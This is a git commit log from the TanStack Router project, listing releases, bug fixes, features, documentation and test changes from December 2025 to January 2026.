feat: custom fetch impl via createStart (#6417) 2026-01-19 01:35:38 +01:00
Tanner Linsley
e451672335 release: v1.152.0 2026-01-18 19:35:38 +00:00
Manuel Schiller
5f6ae58d8b
feat: allow custom fetch impl for server functions (#6327)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-18 20:29:01 +01:00
Tanner Linsley
da2ee20dda release: v1.151.6 2026-01-18 18:12:14 +00:00
Nico Lynzaad
9196ae45b7
fix(start): normalize path encoding (#6389)
* fix encoding and update tests

rework fix and tests

* refine solution

* revert unnecessary change

* fix tests

* resolve pre-render test issues

* refine comment on normalization requirement

* cleanup: remove unnecessary imports

* code rabbit suggestions

* revert merge issues in createStartHandler.ts

* Avoid decoding query/hash

* apply solution to router-ssr also

* add test for getNormalizedURL to handle URLs correctly

* enhance getNormalizedURL tests

* handle malformed paths

* build pathname using url parts

* handle backslash encoding in URL normalization

* additional tests

* refine match error handling
2026-01-18 20:10:11 +02:00
Tanner Linsley
2e38ad48a2 release: v1.151.5 2026-01-18 11:35:00 +00:00
Manuel Schiller
1d7d9afeff
fix(router-generator): fix parent resolution logic (#6412) 2026-01-18 12:03:27 +01:00
Tanner Linsley
bf55d8b6fd release: v1.151.4 2026-01-18 10:45:48 +00:00
Manuel Schiller
8e938c44d4
fix: detect plugin order mismatch (#6411) 2026-01-18 11:41:04 +01:00
Tanner Linsley
17045eb011 release: v1.151.3 2026-01-18 08:26:27 +00:00
Jose Cantu
02839b3132
fix(start-client-core): allow middleware to catch server function handler errors (#6392)
fix(start-client-core): allow middleware to catch server function handler errors (#6381)
2026-01-18 09:08:10 +01:00
Manuel Schiller
2d9193c25c
chore: bump deps (#6408)
Co-authored-by: Brenley Dueck <brenleydueck@gmail.com>
2026-01-18 02:14:48 +01:00
Tanner Linsley
c25e790d45 release: v1.151.2 2026-01-18 00:23:44 +00:00
Manuel Schiller
abb82160eb
fix: Commit context together with status to avoid race condition (#6407) 2026-01-18 01:01:03 +01:00
Manuel Schiller
9c80d96959 fix lockfile 2026-01-18 00:58:46 +01:00
Manuel Schiller
114f53b7ef
fix: make nonce accessible in headers (#6359) 2026-01-18 00:55:41 +01:00
Tanner Linsley
a7460293ca release: v1.151.1 2026-01-17 19:48:10 +00:00
Brenley Dueck
76074cfd85
fix: useBlocker does not work with memoryHistory (#6406) 2026-01-17 20:35:16 +01:00
Tanner Linsley
7a140d9ac8 release: v1.151.0 2026-01-17 16:24:56 +00:00
Manuel Schiller
b42f84a4f6
fix: fullpath handling (#6404)
* fix: fullpath handling

fixes #6403
fixes #2675
fixes #4892

* add type test

* preserve / for index routes

* fix  #3005

* fix tests
2026-01-17 17:21:10 +01:00
autofix-ci[bot]
c22e38730f
ci: apply automated fixes 2026-01-17 15:57:39 +00:00
Aldo D'Aquino
786a58b942
docs: fix typo in markdown rendering (#6405) 2026-01-17 16:56:34 +01:00
JiSeop Park
1f5931561b
fix(router-core): prevent search params mutation in middlewares (#6397) 2026-01-17 16:56:21 +01:00
hokkyss
0a5aeb628e
feat(start-core): add method and serverFnMeta property to ServerFnCtx (#6394)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-17 16:17:20 +01:00
Nestor Cortina
7367ed82f0
docs: fix CLI command syntax in Solid Start getting started guide (#6386) 2026-01-16 19:06:56 -06:00
Tanner Linsley
86605e3858 release: v1.150.0 2026-01-14 21:09:50 +00:00
Manuel Schiller
5299f0be9f
feat: add Route.redirect and getRouteApi.redirect (#6373) 2026-01-14 21:50:58 +01:00
Tanner Linsley
0ca572b22e Merge branch 'main' of https://github.com/tanstack/router 2026-01-14 00:11:48 -07:00
Tanner Linsley
d10e3e8311 vs doc 2026-01-14 00:11:46 -07:00
Tanner Linsley
8f33435e97 release: v1.149.4 2026-01-13 19:32:14 +00:00
Manuel Schiller
88aca7f3c8
fix: css dev extraction correctness and performance (#6383) 2026-01-13 20:21:14 +01:00
Tanner Linsley
ed3f2b0390 release: v1.149.3 2026-01-13 17:07:28 +00:00
Flo
d471ec48c5
fix(router-core): replaceEqualDeep max depth (#6378) 2026-01-13 18:05:14 +01:00
Tanner Linsley
1c440c329d release: v1.149.2 2026-01-12 20:32:02 +00:00
Manuel Schiller
bbfa5d330a
fix: properly handle sass in dev styles (#6372)
* fix: properly handle sass in dev styles

* fix: move CSS middleware to pre-phase for plugin order independence

* deps

* fix race condition

* format
2026-01-12 21:24:12 +01:00
Tanner Linsley
bc4e8d367e release: v1.149.1 2026-01-11 23:46:25 +00:00
Manuel Schiller
d67a51b836
fix: add serverFnMeta as optional to request middleware (#6366) 2026-01-12 00:35:03 +01:00
Tanner Linsley
d87a6318c6 release: v1.149.0 2026-01-11 11:58:48 +00:00
Manuel Schiller
bd40352134
feat: allow regex for indexToken and routeToken (#6354) 2026-01-11 12:38:48 +01:00
Ben McCann
53ff03bbac
fix: remove unused peer dependency (#6340) 2026-01-11 12:38:00 +01:00
Tanner Linsley
a8f846285b release: v1.148.0 2026-01-11 08:56:48 +00:00
Manuel Schiller
4fcfdaac1b
feat: add server fn meta (#6213)
* feat: add server fn meta

* fix: resolve merge conflicts and fix eslint errors in start-*-core

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-11 09:54:32 +01:00
Tanner Linsley
e6862d1af9 docs: some best practices 2026-01-10 23:19:36 -07:00
Tanner Linsley
166cc45d66 release: v1.147.3 2026-01-11 02:30:22 +00:00
Manuel Schiller
99bb8d216c
fix: cleanly separate dev styles from prod runtime (#6356) 2026-01-11 03:28:20 +01:00
Manuel Schiller
b1976d8669 docs: nitro-nightly 2026-01-11 02:50:13 +01:00
Tanner Linsley
8883ca009f release: v1.147.2 2026-01-10 23:40:07 +00:00
Manuel Schiller
2e2c868f01
fix: implement safe dynamic lookup for React.use to avoid compilation… (#6355) 2026-01-11 00:36:07 +01:00
Tanner Linsley
fad5fdbe9d release: v1.147.1 2026-01-10 13:53:48 +00:00
Manuel Schiller
538285cb79
fix: dev style with non runnable dev environments and basepath support (#6348) 2026-01-10 14:51:33 +01:00
Tanner Linsley
7cd1f828eb release: v1.147.0 2026-01-10 03:33:55 +00:00
Manuel Schiller
13f7302b6c lint 2026-01-10 04:22:17 +01:00
Manuel Schiller
995168e9d1 fix solid devlink rendering 2026-01-10 04:18:12 +01:00
Manuel Schiller
4eada7ac93 chore: force vite dependency optimization by using a warmup request in CSS dev tests 2026-01-10 04:11:57 +01:00
Manuel Schiller
5e0ab7a050
feat: collect styles in dev (#6343) 2026-01-10 04:07:23 +01:00
Robert Soriano
6d904d6ba9
chore(examples): Bump Clerk TanStack version and add temporary fix (#6341) 2026-01-10 10:34:06 +13:00
Tanner Linsley
9066afc3dd release: v1.146.3 2026-01-09 07:32:39 +00:00
Sean Cassiere
70248f219d
fix(router-plugin): normalize file paths for Windows compatibility with rspack/webpack (#6333)
The route generator stores file paths with forward slashes
but rspack and webpack on Windows pass native paths with
backslashes to transform handlers.

This caused TSR_ROUTES_BY_ID_MAP lookups to fail, preventing
autoCodeSplitting from working on Windows with rspack.The
route generator stores file paths with forward slashes, but
rspack and webpack on Windows pass native paths with backslashes to
transform handlers.

This caused TSR_ROUTES_BY_ID_MAP lookups to fail, preventing
autoCodeSplitting from working on Windows with rspack.
2026-01-09 20:13:07 +13:00
Tanner Linsley
f25e648bb6 release: v1.146.2 2026-01-08 23:49:37 +00:00
Manuel Schiller
e5fd28b9f1
fix: hardening (#6337) 2026-01-09 00:38:55 +01:00
Tanner Linsley
48519ecf9f release: v1.146.1 2026-01-08 22:53:19 +00:00
Jakob Norlin
a1324bb155
fix: navigate() with href containing basepath (#6335)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2026-01-08 23:33:41 +01:00
Manuel Schiller
e93a4c3169
examples: make basic runnable with nitro (#6336) 2026-01-08 22:48:01 +01:00
Tanner Linsley
0caca3f8f0 release: v1.146.0 2026-01-08 11:44:57 +00:00
Flo
8578a52149
feat(router-core): validate params while matching (#5936) 2026-01-08 12:42:43 +01:00
Tanner Linsley
ce88608dc6 release: v1.145.11 2026-01-07 22:08:06 +00:00
Lee
942f0ff937
fix(router-core): handle AbortError in router execution flow (#4570) 2026-01-07 22:55:00 +01:00
Tanner Linsley
4afc1f1161 release: v1.145.10 2026-01-07 10:52:53 +00:00
Sean Cassiere
78f221c279
fix(router-plugin): do not process.exit after code-splitting for webpack and rspack (#6324) 2026-01-07 23:50:54 +13:00
Tanner Linsley
ddf01dd7d1 release: v1.145.9 2026-01-06 20:30:46 +00:00
Edmund Hung
8e037aefa6
fix: vite preview base path support (#6304)
* fix: vite preview base path support

* fix: base name with trailing slash support

* update example for demo purpose

* prettier: resolve import order

---------

Co-authored-by: Nico Lynzaad <nlynzaad@zylangroup.com>
Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2026-01-06 22:12:56 +02:00
Tanner Linsley
2ea1abb9ef Merge branch 'main' of https://github.com/tanstack/router 2026-01-06 11:11:51 -07:00
Tanner Linsley
88b2911545 fix workos logo 2026-01-06 11:11:49 -07:00
Tanner Linsley
3f475314c9 release: v1.145.8 2026-01-06 11:18:26 +00:00
Manuel Schiller
8c707c7768
fix: make sure prerendering runs after other plugins' buildApp hook (#6317) 2026-01-06 11:53:17 +01:00
Nik
83ccac49a2
docs: Fix typo in ClientOnly component documentation (#6314) 2026-01-06 08:10:46 +01:00
Júlio Mühlbauer
fdfc74dd2f
examples: fix solid start paraglide example (#6313) 2026-01-06 08:10:12 +01:00
Júlio Mühlbauer
e77373fd05
docs: add i18n guide (#6219)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-01-06 02:12:10 +01:00
Júlio Mühlbauer
6f9b4541ee
(examples): fix paraglide redirect loop (#6312) 2026-01-06 02:08:54 +01:00
Tanner Linsley
de24922137 release: v1.145.7 2026-01-05 19:09:27 +00:00
Manuel Schiller
04e6d7b064
fix: open redirect (#6309) 2026-01-05 20:07:19 +01:00
Nico Lynzaad
fb88aadd63
tests(react-start-basic): wait for results to be available before validating raw stream results (#6307)
wait for results to be available before testing
2026-01-05 19:50:12 +02:00
Tanner Linsley
a3e7d80b3f release: v1.145.6 2026-01-05 16:47:38 +00:00
Lee Jong Kyung
7ee7069844
Fix(scroll-restoration): handle sessionStorage quota exceeded error in scroll restoration (#6287)
* fix: handle sessionStorage quota exceeded error in scroll restoration

* feat: add scroll error route and tests for sessionStorage handling

---------

Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2026-01-05 18:35:06 +02:00
Tanner Linsley
c189259fae release: v1.145.5 2026-01-04 21:11:25 +00:00
Manuel Schiller
bc1da8af20
fix: race condition in module initialization (#6299) 2026-01-04 22:00:10 +01:00
Tanner Linsley
df80c142ff release: v1.145.4 2026-01-04 17:42:29 +00:00
Manuel Schiller
71fc7a6c07
fix: generator improvements (#6296) 2026-01-04 18:40:34 +01:00
Zuckjet
f19b51e7c2
examples: replace relative paths with path aliases to improve consist… (#6046)
examples: replace relative paths with path aliases to improve consistency and conciseness.
2026-01-03 20:12:27 -06:00
Zheng Song
834012645f
docs: remove duplicate console.info from beforeLoad example (#6134) 2026-01-03 20:05:17 -06:00
autofix-ci[bot]
59ade979f9
ci: apply automated fixes 2026-01-03 23:02:59 +00:00
Victor Turansky
00617a7e4c
docs(react) fix property name (path -> params) (#6280) 2026-01-04 00:01:39 +01:00
Shakil Ahmmed
a4e2eb7a17
docs: Fix typo in Next.js middleware description (#6283) 2026-01-04 00:00:43 +01:00
Bonnie Schulkin
038d0dc8a3
docs(examples): Remove 'VITE_' from environment variables to match code in supabase.ts (#6224)
Remove 'VITE_' from environment variables to match code in supabase.ts

Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2026-01-02 15:24:50 +02:00
Tanner Linsley
be4764c923 release: v1.145.3 2025-12-30 17:43:43 +00:00
Manuel Schiller
062faf40ac
fix: prerendering (#6256) 2025-12-30 18:41:44 +01:00
Birk Skyum
5438653d7e
bump srvx 0.10.0 (#6257)
* bump srvx 0.10.0

* adjust types

* lint
2025-12-30 17:36:17 +01:00
Tanner Linsley
c24d12a68f release: v1.145.2 2025-12-30 11:02:18 +00:00
Birk Skyum
d2b3fa184b
test(vue-start, solid-start): temp remove flaky raw stream tests (#6254) 2025-12-30 11:51:26 +01:00
Manuel Schiller
78d626fd56
fix(router-generator): fix layout/index conflict in virtual physical(… (#6252) 2025-12-30 03:17:12 +01:00
Manuel Schiller
9c8b9b6567
fix: Fix conflicting paths error when lazy loading layout and index r… (#6251)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-30 03:16:42 +01:00
Tanner Linsley
2b627b450f release: v1.145.1 2025-12-30 01:55:32 +00:00
Manuel Schiller
baa3d1dc29
fix: Fix escape sequence handling for routes defined in __virtual.ts files (#6250) 2025-12-30 02:36:26 +01:00
JP Erasmus
2fa4cfadf1
docs: Rename validator to inputValidator in fetch functions (#6245)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-30 02:06:45 +01:00
Birk Skyum
325c35624a
test(vue-start, solid-start): raw sync tests (#6234) 2025-12-30 02:05:43 +01:00
Manuel Schiller
2372aa3ea0
chore: bump dep (#6249) 2025-12-30 01:59:44 +01:00
Tanner Linsley
4db7f8c0a0 release: v1.145.0 2025-12-27 20:47:35 +00:00
Caleb Cox
337b740cb9
feat: enable async serverFn validation (#5583) 2025-12-27 17:25:08 +01:00
Tanner Linsley
c23dec43fd release: v1.144.0 2025-12-27 14:59:18 +00:00
Manuel Schiller
680671cce8
feat: RawStream (#6231)
* feat: RawStream

* framed json response is not newline split

* avoid code duplication in tests

* actually defer promise

* fix empty stream

* hardening

* optimization

* stream counter

* fix cancellation

* lint

* fix test

* stabilize tests

* stabilize tests

* fix(e2e): add hydration delay for SSR mixed stream test

In CI, hydration takes longer so reader.read() can hang if called
before seroval's stream factory connects callbacks. 100ms delay
ensures stream is ready to be consumed.

* skip test when prerendering
2025-12-27 15:57:16 +01:00
Tanner Linsley
5a6664742d release: v1.143.12 2025-12-27 00:08:27 +00:00
Tanner Linsley
a289d71f3d
fix: refactor middleware (#5517)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-12-27 01:06:32 +01:00
Tanner Linsley
e90e720a9e release: v1.143.11 2025-12-26 01:35:17 +00:00
Manuel Schiller
aa208f1c25
fix: use React.use if available (#6229) 2025-12-26 02:16:56 +01:00
Manuel Schiller
7d598a1e2d
chore: bump babel-dead-code-elimination (#6228) 2025-12-26 02:11:04 +01:00
Tanner Linsley
f22b44a12a release: v1.143.10 2025-12-26 00:26:49 +00:00
JP Erasmus
1d03f1ee35
fix: update sitemap build condition to check for sitemap.enabled instead of pages length (#6227) 2025-12-26 01:16:02 +01:00
Tanner Linsley
bf152cfc19 release: v1.143.9 2025-12-25 23:15:26 +00:00
Manuel Schiller
767e4a98fc
refactor: only handle createServerFn (#6226)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-26 00:12:28 +01:00
Tanner Linsley
5463487d21 release: v1.143.8 2025-12-25 18:17:59 +00:00
Manuel Schiller
ca1d24eb17
fix: createIsomorphicFn compilation (#6220) 2025-12-25 19:15:14 +01:00
Tanner Linsley
71e560d9fd release: v1.143.7 2025-12-25 14:22:47 +00:00
Kyle
94160c7d68
fix: whitespace in server function .handler() not matching compiler regex (#6216)
* fix: detect .handler() when separated by whitespace

* fix: also match createServerFn(

* fix: use word boundary for createServerFn regex

* make regex more permissive

---------

Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-12-25 15:12:46 +01:00
yanghuidong
a6ec38952a
chore: move eslint-plugin-solid to devDependencies in solid-router-ssr-query (#6212)
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-25 14:32:31 +01:00
Tim
8e4cf5b08d
docs: typo about pathless layout routes in routing-concepts (#6214) 2025-12-26 00:57:56 +13:00
Tanner Linsley
2f46e9b242 release: v1.143.6 2025-12-24 23:23:25 +00:00
Manuel Schiller
af9ef262a9
fix: revert rewrite fix (#6211) 2025-12-25 00:21:29 +01:00
Tanner Linsley
aa68f71feb release: v1.143.5 2025-12-24 22:43:26 +00:00
Manuel Schiller
7f0b79cb83
refactor: consolidate start compiler (#6210) 2025-12-24 23:39:46 +01:00
Tanner Linsley
650028588f
docs: public seo files and seo tracking (#6208)
* docs(seo): add static file options for robots.txt and sitemap.xml

Document that users can place static robots.txt and sitemap.xml files
in the public directory as a simpler alternative to server routes.

* docs(seo): add Nozzle.io recommendation for rank tracking

Add a "Track Your Rankings" section recommending Nozzle.io as a partner
tool for monitoring SEO performance and keyword rankings.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2025-12-23 22:30:17 -07:00
Tanner Linsley
43e9572a0e
docs: SEO/LLM optimization
* docs(start): add SEO guide for React and Solid frameworks

Add a comprehensive SEO guide that clarifies what SEO actually means
for developers and explains TanStack Start's technical SEO capabilities:

- Document head management (meta tags, titles, Open Graph)
- Server-side rendering for crawlability
- Static prerendering for performance
- Structured data (JSON-LD) for rich results
- Sitemap and robots.txt generation via server routes
- Best practices for technical SEO

This addresses the common misconception that SEO is just a checkbox,
explaining that it's about using available tools effectively.

* docs(start): add LLMO guide and cross-references with SEO guide

Add a comprehensive LLM Optimization (LLMO) guide for both React and
Solid frameworks, covering:

- What LLMO/AIO/GEO is and how it differs from traditional SEO
- Structured data (JSON-LD) for AI consumption
- Schema.org examples: Article, Product, Organization, FAQ
- Machine-readable API endpoints
- Content best practices for AI extraction
- llms.txt implementation
- Monitoring AI citations

Also adds cross-reference callouts between SEO and LLMO guides to help
users discover related content.

* ci: apply automated fixes

* docs(start): move SEO and LLMO guides to end of guides list

* docs(start): fix server route examples to use createFileRoute

Update SEO and LLMO guides to use createFileRoute with server.handlers
instead of createServerFileRoute for consistency across React and Solid.

* docs(start): document built-in sitemap and fix route file naming

- Add built-in sitemap generation with prerender + crawlLinks
- Show dynamic sitemap as alternative for dynamic content
- Fix escaped period syntax in file names: sitemap[.]xml.ts, robots[.]txt.ts, llms[.]txt.ts
- Add CDN caching recommendation for dynamic sitemaps

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-23 22:17:55 -07:00
Tanner Linsley
80e43afce0 release: v1.143.4 2025-12-23 23:43:29 +00:00
Nico Lynzaad
6ea81b47f7
fix(router-core): make navigate publicHref Aware (#6205)
* update navigate to use publicHref when reload document

* resolve codeRabbit nitpick

* mark publicHref prop as internal
2025-12-24 01:41:22 +02:00
Tanner Linsley
73315f1b3e release: v1.143.3 2025-12-23 11:39:18 +00:00
Manuel Schiller
17c07d9369
fix: rewrite causes infinite redirects (#6201) 2025-12-23 12:37:09 +01:00
Tanner Linsley
358a7700ab release: v1.143.2 2025-12-23 09:12:33 +00:00
Matt
b1c7350997
fix(react-router): HMR not updating inline arrow function components (#6197)
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-23 09:58:40 +01:00
Tanner Linsley
4c1acacec8 release: v1.143.1 2025-12-23 08:03:49 +00:00
Manuel Schiller
c504bd2c4d
fix: compiler handles type-only exports (#6199) 2025-12-23 08:53:47 +01:00
Tanner Linsley
6ab7073ace release: v1.143.0 2025-12-23 07:52:22 +00:00
Manuel Schiller
97d9f30c69
feat: remove ClientOnly children from server build (#6193) 2025-12-23 08:40:43 +01:00
Tanner Linsley
f5232a560e release: v1.142.13 2025-12-23 02:25:01 +00:00
Manuel Schiller
3c994c47a8
fix: serial head execution (#6093) 2025-12-23 03:21:30 +01:00
Manuel Schiller
7f14405f79
performance: compiler (#6190)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-23 02:11:07 +01:00
Tanner Linsley
f7b94b7028 release: v1.142.12 2025-12-22 23:57:46 +00:00
Manuel Schiller
c1d6c33aed
fix: compile factories (#6188) 2025-12-23 00:47:47 +01:00
Tanner Linsley
f613bc3f4a release: v1.142.11 2025-12-22 18:56:46 +00:00
Ulrich Stark
948c4fb045
refactor(router-core): deprecate json function in favor of standard Response.json function (#6181) 2025-12-22 19:44:04 +01:00
Tanner Linsley
ae3f3995e0 release: v1.142.10 2025-12-22 18:11:51 +00:00
Manuel Schiller
fe095374db
fix: ignore route pieces in RoutePrefixMap (#6186)
fixes #6142
2025-12-22 18:19:44 +01:00
Tanner Linsley
4c5292317a release: v1.142.9 2025-12-22 10:16:29 -07:00
Manuel Schiller
770a26535f
fix: compiler plugin (#6177)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-22 14:57:50 +01:00
Tanner Linsley
6fd9c95650 release: v1.142.8 2025-12-21 23:29:08 +00:00
Manuel Schiller
c05572ebbe
fix: streaming (#6175) 2025-12-22 00:13:49 +01:00
Tanner Linsley
f8d9759622 release: v1.142.7 2025-12-21 16:03:33 +00:00
Flo
7a3def05b2
refactor(router-core): index nodes can skip the stack loop, they cannot have children (#6173) 2025-12-21 17:01:28 +01:00
Tanner Linsley
a33a29552a release: v1.142.6 2025-12-21 15:34:38 +00:00
Flo
7b4dcee399
refactor(router-core): index routes have index nodes in the segment tree (#6171) 2025-12-21 16:32:19 +01:00
Birk Skyum
6839bfb1a0
docs: move to tailwind 4 w/ vite (#6168) 2025-12-21 04:13:49 +01:00
Tanner Linsley
de11f75a9d release: v1.142.5 2025-12-21 01:25:42 +00:00
Manuel Schiller
e8f2174902
fix: trace nested server function factory re-export chain (#6166) 2025-12-21 02:14:46 +01:00
Birk Skyum
1f98e84e11
docs(solid-start): bump nitro v3 to alpha.1 in example (#6167) 2025-12-21 02:00:26 +01:00
Tanner Linsley
51925a2b9e release: v1.142.4 2025-12-21 00:45:53 +00:00
Birk Skyum
fe0d3d31bd
fix(start-server-core): bump h3 from v2.0.1-rc.2 to v2.0.1-rc.6 (#6161) 2025-12-21 01:43:25 +01:00
Tanner Linsley
75e1387159 release: v1.142.3 2025-12-20 23:20:47 +00:00
Birk Skyum
82ac628b2c
fix(start-server-core): use public h3-v2 api event.res (#6162) 2025-12-21 00:09:11 +01:00
Manuel Schiller
92333c9319
fix: properly track re-exports of server function factories (#6164) 2025-12-21 00:04:10 +01:00
Tanner Linsley
5eb250ad72 release: v1.142.2 2025-12-20 22:54:29 +00:00
Manuel Schiller
a727225ae7
fix: correct compiler plugin order, only handle createMiddleware in a … (#6163)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-20 23:51:04 +01:00
Tanner Linsley
8a205211c5 release: v1.142.1 2025-12-20 21:46:42 +00:00
Manuel Schiller
4ec65aec8a
fix: restructure server function environment handling (#6160) 2025-12-20 22:42:27 +01:00
Birk Skyum
22d1b4a3cf
chore(start-server-core): update to h3 v2.0.1-rc.2 (#6159) 2025-12-20 21:11:59 +01:00
Tanner Linsley
c906682102 release: v1.142.0 2025-12-20 13:58:55 +00:00
Manuel Schiller
c9a19a2e60
feat(router-generator): allow escaping any special string in file-based routing (#6156)
* feat(router-generator): allow escaping any special string in file-based routing

This change extends the router-generator's escaping mechanism to allow ANY
special string to be escaped using square bracket syntax, not just dots.

## Problem

Previously, the router-generator only supported escaping dots using [.]
syntax (e.g., script[.]js.tsx -> /script.js). However, special strings
like 'index', 'route', 'lazy', and underscores ('_') could not be escaped,
making it impossible to create routes with literal paths like /index,
/route, /lazy, or paths containing literal underscores.

## Solution

Extended the escaping mechanism to support:

1. **Escaped special suffixes**: [index], [route], [lazy], [component], etc.
   - [index].tsx -> /index (literal path, NOT treated as index route)
   - [route].tsx -> /route (literal path, NOT treated as layout config)
   - [lazy].tsx -> /lazy (literal path, NOT treated as lazy-loaded route)

2. **Escaped underscores in any position**:
   - Leading: [_]layout.tsx -> /_layout (literal, NOT pathless layout)
   - Trailing: blog[_].tsx -> /blog_ (literal, NOT escaping parent layout)
   - Middle: foo[_]bar.tsx -> /foo_bar (literal underscore preserved)
   - Multiple: api[_]v2[_]users.tsx -> /api_v2_users
   - Fully escaped: [_prefix_middle_suffix].tsx -> /_prefix_middle_suffix

3. **Custom token escaping**: Works with custom indexToken and routeToken
   - [_1nd3x].tsx with indexToken='_1nd3x' -> /_1nd3x (literal path)
   - posts.[_r0ut3_].tsx with routeToken='_r0ut3_' -> /posts/_r0ut3_

## Implementation Details

### src/utils.ts
- Removed '_' from DISALLOWED_ESCAPE_CHARS to allow underscore escaping
- Added isSegmentEscaped() to check if a segment was bracket-escaped
- Added hasEscapedLeadingUnderscore() to detect [_] prefix or [_...] patterns
- Added hasEscapedTrailingUnderscore() to detect [_] suffix or [..._] patterns
- Added removeUnderscoresWithEscape() to preserve escaped underscores
- Added removeLayoutSegmentsWithEscape() to preserve escaped layout segments
- Added isSegmentPathless() to check for non-escaped leading underscores
- Updated inferFullPath() to use escape-aware functions

### src/filesystem/physical/getRouteNodes.ts
- Added escape checking for special suffixes (route, lazy, component, etc.)
- Updated isValidPathlessLayoutRoute() to check for escaped underscores
- Updated getRouteMeta() to accept originalRoutePath and check escaping

### src/generator.ts
- Updated handleNode() to use escape-aware path processing functions
- Compute trimmedOriginalPath alongside trimmedPath for escape detection

## Tests Added

- escaped-special-strings: Tests escaping of index, route, lazy, and
  underscores in various positions (leading, trailing, middle, multiple)
- escaped-custom-tokens: Tests escaping with custom indexToken and
  routeToken configurations

* simplify

* fix test

* add utils unit tests

* add e2e test

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-20 14:51:09 +01:00
Tanner Linsley
6c5fdb143a release: v1.141.9 2025-12-20 12:30:29 +00:00
Nico Lynzaad
27d1c5ef04
refactor(router-generator): remove experimental nonnested paths (#6154)
* remove experimental non-nested from tests

* remove experimental non-nested from router-generator

* add underscore to list of disallowed escaped characters

* update docs

* fix tests
2025-12-20 14:24:43 +02:00
Tanner Linsley
090d8bd672 release: v1.141.8 2025-12-19 23:51:29 +00:00
Manuel Schiller
7798b0a92f
fix: bump deps (#6153) 2025-12-20 00:49:28 +01:00
Tanner Linsley
5ae9461be0
docs: Create markdown import and rendering guide (#6150)
* docs(start): add guide for rendering markdown content

Add comprehensive guide covering two methods for importing and rendering
markdown in TanStack Start applications:
- Static markdown with content-collections for build-time loading
- Dynamic markdown fetched from GitHub or remote sources at runtime

Includes setup for unified/remark/rehype pipeline, code highlighting with
Shiki, and practical examples for blog posts and documentation pages.

* ci: apply automated fixes

* docs(start): add rendering-markdown to navigation config

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-19 11:55:20 -07:00
Birk Skyum
05408f83b4
test(vue-router): sentry integration with tanstackRouterBrowserTracingIntegration (#6139)
vue-router  tanstackRouterBrowserTracingIntegration sentry
2025-12-18 14:15:14 +01:00
Birk Skyum
c68aff71d1
test(vue-start): basic-cloudflare, basic-auth (#6137) 2025-12-18 12:10:37 +01:00
Manuel Schiller
41dba10a8d
chore: rename _types to '~types' (#6133) 2025-12-18 08:20:01 +01:00
Birk Skyum
6b11401913
test(vue-start): e2e test suites (#6132) 2025-12-18 00:39:50 +01:00
Tanner Linsley
4a1b12f245 release: v1.141.7 2025-12-17 23:26:35 +00:00
Manuel Schiller
4171b868c6
fix: generator perf and pathless routes relative to parent (#6121)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-18 00:24:21 +01:00
Birk Skyum
abac5ceac7
test(vue-start): custom-basepath (#6130) 2025-12-17 22:59:39 +01:00
Birk Skyum
ede47af1fa
test(vue-start): server-functions (#6129) 2025-12-17 22:32:21 +01:00
Tanner Linsley
43a36e9a0e release: v1.141.6 2025-12-17 20:07:13 +00:00
Manuel Schiller
11d26ad0f5
fix: bump srvx (#6128)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-17 21:04:54 +01:00
Birk Skyum
d5a7aee5f5
test(vue-start): server-routes (#6127) 2025-12-17 20:16:13 +01:00
Birk Skyum
d476a8b0e9
test(vue-start): serialization-adapters e2e suite (#6126) 2025-12-17 19:20:21 +01:00
Birk Skyum
751f0ff68b
test(vue-start): selective-ssr suite (#6124) 2025-12-17 18:07:16 +01:00
Tanner Linsley
3c77213f0b
chore: remove extra comments (#5946)
---------

Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-12-17 13:04:54 +01:00
Tanner Linsley
12817c6450 release: v1.141.5 2025-12-17 02:22:07 +00:00
Manuel Schiller
16a359bfb6
fix: don't create virtual routes for pathless layouts (#6120) 2025-12-17 03:17:59 +01:00
Tanner Linsley
bffccb0d30 release: v1.141.4 2025-12-17 00:20:51 +00:00
Manuel Schiller
f330532e08
fix: generalize hydration cleanup (#6118)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-12-17 01:18:47 +01:00
Birk Skyum
8628d01894
test(vue-router): rsbuild suites (#6117) 2025-12-16 22:10:42 +01:00
Birk Skyum
a6134ffe64
e2e(vue-router): scroll restoration sandbox vite (#6116)
* vue-router js-only

* esbuild

* basic-esbuild-file-based

* remove esbuild-plugin-vue-jsx

* reset js-only0-file

* add scroll restoration

* ci: apply automated fixes

* install zod

* ci: apply automated fixes

